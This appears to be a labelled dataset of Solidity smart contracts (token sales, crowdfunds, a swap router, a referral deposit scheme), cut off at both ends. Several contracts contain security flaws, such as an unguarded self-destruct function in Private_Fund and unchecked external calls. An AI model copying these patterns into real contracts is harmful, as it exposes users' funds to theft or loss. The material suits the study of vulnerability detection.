function setRefLevel1Fee(uint _refLevel1Fee) external onlyOwner {
refLevel1Fee = _refLevel1Fee;
emit changeRefLevel1Fee(_refLevel1Fee);
}
function setRefLevel2Fee(uint _refLevel2Fee) external onlyOwner {
refLevel2Fee = _refLevel2Fee;
emit changeRefLevel2Fee(_refLevel2Fee);
}
function setRefGroup(int _ID, address _referrer) external onlyAgent {
RefGroup[_ID] = _referrer;
emit changeRefGroup(_ID, _referrer);
}
function setRefAddr(address _referral, address _referrer) external onlyAgent {
RefAddr[_referral] = _referrer;
emit changeRefAddr(_referral, _referrer);
}
function withdraw() external onlyOwner returns (bool success) {
uint256 N = 1;
if (block.timestamp > start) {
N = (block.timestamp - start) / period;
}
if (!AlreadyReward[N]) {
uint amount = reward[N];
AlreadyReward[N] = true;
msg.sender.transfer(amount);
emit withdrawProfit(amount, msg.sender);
return true;
} else {
return false;
}
}
function withdrawRefGroup() external returns (bool success) {
require(rewardGroup[msg.sender] > 0);
uint amount = rewardGroup[msg.sender];
rewardGroup[msg.sender] = 0;
msg.sender.transfer(amount);
emit withdrawProfit(amount, msg.sender);
return true;
}
function withdrawRefAddr() external returns (bool success) {
require(rewardAddr[msg.sender] > 0);
uint amount = rewardAddr[msg.sender];
rewardAddr[msg.sender] = 0;
msg.sender.transfer(amount);
emit withdrawProfit(amount, msg.sender);
return true;
}
function withdrawRefBoth() external returns (bool success) {
require(rewardAddr[msg.sender] > 0 || rewardGroup[msg.sender] > 0);
uint amount = safeAdd(rewardAddr[msg.sender], rewardGroup[msg.sender]);
rewardAddr[msg.sender] = 0;
rewardGroup[msg.sender] = 0;
msg.sender.transfer(amount);
emit withdrawProfit(amount, msg.sender);
return true;
}
function setPeriod(uint _period) external onlyOwner {
period = _period;
emit UpdatedPeriod(_period);
}
function setStart(uint _start) external onlyOwner {
start = _start;
}
} | 0 | 1,570 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract RTCoin {
using SafeMath for uint256;
address public owner;
address public saleAgent;
uint256 public totalSupply;
string public name;
uint8 public decimals;
string public symbol;
bool private allowEmission = true;
mapping (address => uint256) balances;
function RTCoin(string _name, string _symbol, uint8 _decimals) public {
decimals = _decimals;
name = _name;
symbol = _symbol;
owner = msg.sender;
}
function changeSaleAgent(address newSaleAgent) public onlyOwner {
require (newSaleAgent!=address(0));
uint256 tokenAmount = balances[saleAgent];
if (tokenAmount>0) {
balances[newSaleAgent] = balances[newSaleAgent].add(tokenAmount);
balances[saleAgent] = balances[saleAgent].sub(tokenAmount);
Transfer(saleAgent, newSaleAgent, tokenAmount);
}
saleAgent = newSaleAgent;
}
function emission(uint256 amount) public onlyOwner {
require(allowEmission);
require(saleAgent!=address(0));
totalSupply = amount * (uint256(10) ** decimals);
balances[saleAgent] = totalSupply;
Transfer(0x0, saleAgent, totalSupply);
allowEmission = false;
}
function burn(uint256 _value) public {
require(_value > 0);
address burner;
if (msg.sender==owner)
burner = saleAgent;
else
burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
event Transfer(
address indexed _from,
address indexed _to,
uint _value
);
}
contract Crowdsale {
using SafeMath for uint256;
address fundsWallet;
RTCoin public token;
address public owner;
bool public open = false;
uint256 public tokenLimit;
uint256 public rate = 20000;
function Crowdsale(address _fundsWallet, address tokenAddress,
uint256 _rate, uint256 _tokenLimit) public {
fundsWallet = _fundsWallet;
token = RTCoin(tokenAddress);
rate = _rate;
owner = msg.sender;
tokenLimit = _tokenLimit * (uint256(10) ** token.decimals());
}
function() external isOpen payable {
require(tokenLimit>0);
fundsWallet.transfer(msg.value);
uint256 tokens = calculateTokenAmount(msg.value);
token.transfer(msg.sender, tokens);
tokenLimit = tokenLimit.sub(tokens);
}
function changeFundAddress(address newAddress) public onlyOwner {
require(newAddress != address(0));
fundsWallet = newAddress;
}
function changeRate(uint256 newRate) public onlyOwner {
require(newRate>0);
rate = newRate;
}
function calculateTokenAmount(uint256 weiAmount) public constant returns(uint256) {
if (token.decimals()!=18){
uint256 tokenAmount = weiAmount.mul(rate).div(uint256(10) ** (18-token.decimals()));
return tokenAmount;
}
else return weiAmount.mul(rate);
}
function transferTo(address _to, uint256 _value) public onlyOwner returns (bool) {
require(tokenLimit>0);
token.transfer(_to, _value);
tokenLimit = tokenLimit.sub(_value);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function allowSale() public onlyOwner {
open = true;
}
function disallowSale() public onlyOwner {
open = false;
}
modifier isOpen() {
require(open == true);
_;
}
} | 1 | 2,773 |
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IOneSplitAudit {
event ImplementationUpdated(address indexed newImpl);
event Swapped(
address indexed fromToken,
address indexed destToken,
uint256 fromTokenAmount,
uint256 destTokenAmount,
uint256 minReturn,
uint256[] distribution,
uint256[] flags,
address referral,
uint256 feePercent
);
function swap(
address fromToken,
address destToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256 flags
) external payable returns (uint256);
function getExpectedReturn(
address fromToken,
address destToken,
uint256 amount,
uint256 parts,
uint256 flags
) external view returns (uint256 returnAmount, uint256[] memory distribution);
function getExpectedReturnWithGas(
address fromToken,
address destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
external
view
returns (
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
);
function getExpectedReturnWithGasMulti(
address[] memory tokens,
uint256 amount,
uint256[] memory parts,
uint256[] memory flags,
uint256[] memory destTokenEthPriceTimesGasPrices
)
external
view
returns (
uint256[] memory returnAmounts,
uint256 estimateGasAmount,
uint256[] memory distribution
);
function swapWithReferral(
address fromToken,
address destToken,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256 flags,
address referral,
uint256 feePercent
) external returns (uint256);
function swapMulti(
address[] memory tokens,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256[] memory flags
) external returns (uint256);
function swapWithReferralMulti(
address[] memory tokens,
uint256 amount,
uint256 minReturn,
uint256[] memory distribution,
uint256[] memory flags,
address referral,
uint256 feePercent
) external returns (uint256 returnAmount);
}
library Helper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'Helper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'Helper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'Helper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'Helper::safeTransferETH: ETH transfer failed');
}
}
pragma solidity >=0.7.5 <0.8.0;
pragma abicoder v2;
contract DePayRouterV1OneInchSwap01 {
using SafeMath for uint256;
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 public immutable MAXINT = type(uint256).max;
address public immutable OneSplitAudit;
bool public immutable delegate = true;
constructor(address _OneSplitAudit) {
OneSplitAudit = _OneSplitAudit;
}
function _getDistribution(uint256[] calldata amounts) internal returns (uint256[] memory buf) {
uint256 len = amounts.length - 3;
buf = new uint256[](len);
for (uint256 i = 0; i < len; i += 1) {
buf[i] = amounts[3 + i];
}
}
function execute(
address[] calldata path,
uint256[] calldata amounts,
address[] calldata addresses,
string[] calldata data
) external payable returns (bool) {
if ((path[0] != ETH) && IERC20(path[0]).allowance(address(this), OneSplitAudit) < amounts[0]) {
Helper.safeApprove(path[0], OneSplitAudit, MAXINT);
}
IOneSplitAudit oneSplit = IOneSplitAudit(OneSplitAudit);
if (path[0] == ETH) {
address(OneSplitAudit).call{value: amounts[0]}(
abi.encodeWithSelector(
oneSplit.swap.selector,
path[0],
path[1],
amounts[0],
amounts[1],
_getDistribution(amounts),
amounts[2]
)
);
} else {
address(OneSplitAudit).call(
abi.encodeWithSelector(
oneSplit.swap.selector,
path[0],
path[1],
amounts[0],
amounts[1],
_getDistribution(amounts),
amounts[2]
)
);
}
return false;
}
} | 1 | 2,731 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC223 is ERC20{
function transfer(address to, uint256 value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
}
contract ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC223, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => uint256) public frozenTimestamp;
address public admin;
constructor() public {
admin = msg.sender;
}
function isContract(address _addr) public view returns (bool) {
if (_addr == address(0))
return false;
uint256 length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool){
require(block.timestamp > frozenTimestamp[msg.sender]);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool) {
require(block.timestamp > frozenTimestamp[msg.sender]);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ReceivingContract receiver = ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function freezeWithTimestamp( address _target, uint256 _timestamp) public returns (bool) {
require(msg.sender == admin);
require(_target != address(0));
frozenTimestamp[_target] = _timestamp;
return true;
}
function multiFreezeWithTimestamp(address[] _targets, uint256[] _timestamps) public returns (bool) {
require(msg.sender == admin);
require(_targets.length == _timestamps.length);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != address(0));
uint256 _timestamp = _timestamps[i];
frozenTimestamp[_target] = _timestamp;
}
return true;
}
function multiTransfer(address[] _tos, uint256[] _values) public returns (bool) {
require(block.timestamp > frozenTimestamp[msg.sender]);
require(_tos.length == _values.length);
uint256 len = _tos.length;
require(len > 0);
uint256 amount = 0;
for (uint256 i = 0; i < len; i = i.add(1)) {
amount = amount.add(_values[i]);
}
require(amount <= balances[msg.sender]);
for (uint256 j = 0; j < len; j = j.add(1)) {
address _to = _tos[j];
require(_to != address(0));
balances[_to] = balances[_to].add(_values[j]);
balances[msg.sender] = balances[msg.sender].sub(_values[j]);
emit Transfer(msg.sender, _to, _values[j]);
}
return true;
}
function getFrozenTimestamp(address _target) public view returns (uint256) {
require(_target != address(0));
return frozenTimestamp[_target];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(block.timestamp > frozenTimestamp[msg.sender]);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to, uint256 _amount) hasMintPermission canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract VGameToken is MintableToken {
string public constant name = "VGame.io Token";
string public constant symbol = "VT";
uint256 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 500000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
admin = msg.sender;
}
} | 0 | 804 |
contract Private_Fund{
address public beneficiary;
uint public amountRaised;
uint256 public start;
uint256 public deadline;
address public creator;
bool public deadline_status = false;
Funder[] public funders;
event FundTransfer(address backer, uint amount, bool isContribution);
struct Funder {
address addr;
uint amount;
}
modifier onlyCreator() {
if (creator != msg.sender) {
throw;
}
_;
}
modifier afterDeadline() { if (now >= deadline) _;}
function check_deadline() {
if (now >= deadline) deadline_status = true;
else deadline_status = false;
}
function deadline_modify(uint256 _start ,uint256 _duration) onlyCreator {
start = _start;
deadline = _start + _duration * 1 days;
}
function beneficiary_modify (address _beneficiary) onlyCreator{
beneficiary = _beneficiary;
}
function Private_Fund(address _creator, uint256 _duration) {
creator = _creator;
beneficiary = 0xfaC1D48E61353D49D8E234C27943A7b58cd94FD6;
start = now;
deadline = start + _duration * 1 days;
}
function () payable {
if(now < start) throw;
if(now >= deadline) throw;
uint amount = msg.value;
funders[funders.length++] = Funder({addr: msg.sender, amount: amount});
amountRaised += amount;
FundTransfer(msg.sender, amount, true);
}
function withdraw_privatefund(bool _withdraw_en) afterDeadline onlyCreator{
if (_withdraw_en){
beneficiary.send(amountRaised);
FundTransfer(beneficiary, amountRaised, false);
} else {
FundTransfer(0, 11, false);
for (uint i = 0; i < funders.length; ++i) {
funders[i].addr.send(funders[i].amount);
FundTransfer(funders[i].addr, funders[i].amount, false);
}
}
}
function kill() {
suicide(beneficiary);
}
} | 1 | 3,645 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TokenControl {
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
bool public enablecontrol = true;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier whenNotPaused() {
require(enablecontrol);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function enableControl(bool _enable) public onlyCEO{
enablecontrol = _enable;
}
}
contract StandardToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken, TokenControl {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) onlyCOO whenNotPaused public {
_burn(_value);
}
function _burn( uint256 _value) internal {
require(_value <= balances[cfoAddress]);
balances[cfoAddress] = balances[cfoAddress].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(cfoAddress, _value);
emit Transfer(cfoAddress, address(0), _value);
}
}
contract MintableToken is StandardToken, TokenControl {
event Mint(address indexed to, uint256 amount);
function mint(uint256 _value) onlyCOO whenNotPaused public {
_mint(_value);
}
function _mint( uint256 _value) internal {
balances[cfoAddress] = balances[cfoAddress].add(_value);
totalSupply_ = totalSupply_.add(_value);
emit Mint(cfoAddress, _value);
emit Transfer(address(0), cfoAddress, _value);
}
}
contract PausableToken is StandardToken, TokenControl {
bool public transferEnabled = true;
function enableTransfer(bool _enable) public onlyCEO{
transferEnabled = _enable;
}
modifier transferAllowed() {
assert(transferEnabled);
_;
}
function transfer(address _to, uint256 _value) public transferAllowed() returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public transferAllowed() returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public transferAllowed() returns (bool) {
return super.approve(_spender, _value);
}
}
contract WMT is BurnableToken, MintableToken, PausableToken {
string public name;
string public symbol;
uint8 public decimals;
constructor(address _ceoAddress, address _cfoAddress, address _cooAddress) public {
name = "T-WMT";
symbol = "T-WMT";
decimals = 8;
ceoAddress = _ceoAddress;
cfoAddress = _cfoAddress;
cooAddress = _cooAddress;
totalSupply_ = 5000;
balances[cfoAddress] = totalSupply_;
}
function() payable public { }
} | 1 | 2,454 |
pragma solidity ^0.4.25;
contract Ownable
{
address public laxmi;
address public newLaxmi;
constructor() public
{
laxmi = msg.sender;
}
modifier onlyLaxmi()
{
require(msg.sender == laxmi, "Can used only by owner");
_;
}
function changeLaxmi(address _laxmi) onlyLaxmi public
{
require(_laxmi != 0, "Please provide new owner address");
newLaxmi = _laxmi;
}
function confirmLaxmi() public
{
require(newLaxmi == msg.sender, "Please call from new owner");
laxmi = newLaxmi;
delete newLaxmi;
}
}
library SafeMath
{
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
if (_a == 0) { return 0; }
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256)
{
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256)
{
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract KassaNetwork is Ownable
{
using SafeMath for uint;
string public constant name = 'Kassa 100/30';
uint public startTimestamp = now;
uint public constant procKoef = 10000;
uint public constant perDay = 130;
uint public constant ownerFee = 800;
uint[1] public bonusReferrer = [700];
uint public constant procReturn = 9000;
uint public constant maxDepositDays = 100;
uint public constant minimalDeposit = 0.25 ether;
uint public constant maximalDepositStart = 15 ether;
uint public constant maximalDepositFinish = 100 ether;
uint public constant minimalDepositForBonusReferrer = 0.015 ether;
uint public constant dayLimitStart = 50 ether;
uint public constant progressProcKoef = 100;
uint public constant dayLimitProgressProc = 2;
uint public constant maxDepositProgressProc = 1;
uint public countInvestors = 0;
uint public totalInvest = 0;
uint public totalPenalty = 0;
uint public totalSelfInvest = 0;
uint public totalPaid = 0;
uint public unlimitedInvest = 3000 ether;
bool public isUnlimitedContractInvest = false;
bool public isUnlimitedDayInvest = false;
event LogInvestment(address _addr, uint _value, bytes _refData);
event LogTransfer(address _addr, uint _amount, uint _contactBalance);
event LogSelfInvestment(uint _value);
event LogPreparePayment(address _addr, uint _totalInteres, uint _paidInteres, uint _amount);
event LogSkipPreparePayment(address _addr, uint _totalInteres, uint _paidInteres);
event LogPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals, uint _amount);
event LogSkipPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals);
event LogMinimalDepositPayment(address _addr, uint _money, uint _totalPenalty);
event LogPenaltyPayment(address _addr, uint currentSenderDeposit, uint referrerAdressLength, address _referrer, uint currentReferrerDeposit, uint _money, uint _sendBackAmount, uint _totalPenalty);
event LogExceededRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _badDeposit, uint _sendBackAmount, uint _totalPenalty, uint _willDeposit);
event LogUsedRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _realDeposit, uint _usedDepositPerDay);
event LogCalcBonusReferrer(address _referrer, uint _money, uint _index, uint _bonusReferrer, uint _amountReferrer, address _nextReferrer);
struct User
{
uint balance;
uint paidInteres;
uint timestamp;
uint countReferrals;
uint earnOnReferrals;
uint paidReferrals;
address referrer;
}
mapping (address => User) private user;
mapping (uint => uint) private usedDeposit;
function getInteres(address addr) private view returns(uint interes)
{
uint diffDays = getNDay(user[addr].timestamp);
if( diffDays > maxDepositDays ) diffDays = maxDepositDays;
interes = user[addr].balance.mul(perDay).mul(diffDays).div(procKoef);
}
function getUser(address addr) public view returns(uint balance, uint timestamp, uint paidInteres, uint totalInteres, uint countReferrals, uint earnOnReferrals, uint paidReferrals, address referrer)
{
address a = addr;
return (
user[a].balance,
user[a].timestamp,
user[a].paidInteres,
getInteres(a),
user[a].countReferrals,
user[a].earnOnReferrals,
user[a].paidReferrals,
user[a].referrer
);
}
function getCurrentDay() public view returns(uint nday)
{
nday = getNDay(startTimestamp);
}
function getNDay(uint date) public view returns(uint nday)
{
uint diffTime = date > 0 ? now.sub(date) : 0;
nday = diffTime.div(24 hours);
}
function getCurrentDayDepositLimit() public view returns(uint limit)
{
if (isUnlimitedDayInvest) {
limit = maximalDepositFinish;
return limit;
}
uint nDay = getCurrentDay();
uint dayDepositLimit = getDayDepositLimit(nDay);
if (dayDepositLimit <= maximalDepositFinish)
{
limit = dayDepositLimit;
}
else
{
limit = maximalDepositFinish;
}
}
function calcProgress(uint start, uint proc, uint nDay) public pure returns(uint res)
{
uint s = start;
uint base = 1 ether;
if (proc == 1)
{
s = s + base.mul(nDay.mul(nDay).mul(35).div(10000)) + base.mul(nDay.mul(4589).div(10000));
}
else
{
s = s + base.mul(nDay.mul(nDay).mul(141).div(10000)) + base.mul(nDay.mul(8960).div(10000));
}
return s;
}
function getDayDepositLimit(uint nDay) public pure returns(uint limit)
{
return calcProgress(dayLimitStart, dayLimitProgressProc, nDay );
}
function getMaximalDeposit(uint nDay) public pure returns(uint limit)
{
return calcProgress(maximalDepositStart, maxDepositProgressProc, nDay );
}
function getCurrentDayRestDepositLimit() public view returns(uint restLimit)
{
uint nDay = getCurrentDay();
restLimit = getDayRestDepositLimit(nDay);
}
function getDayRestDepositLimit(uint nDay) public view returns(uint restLimit)
{
restLimit = getCurrentDayDepositLimit().sub(usedDeposit[nDay]);
}
function getCurrentMaximalDeposit() public view returns(uint maximalDeposit)
{
uint nDay = getCurrentDay();
if (isUnlimitedContractInvest)
{
maximalDeposit = 0;
}
else
{
maximalDeposit = getMaximalDeposit(nDay);
}
}
function() external payable
{
emit LogInvestment(msg.sender, msg.value, msg.data);
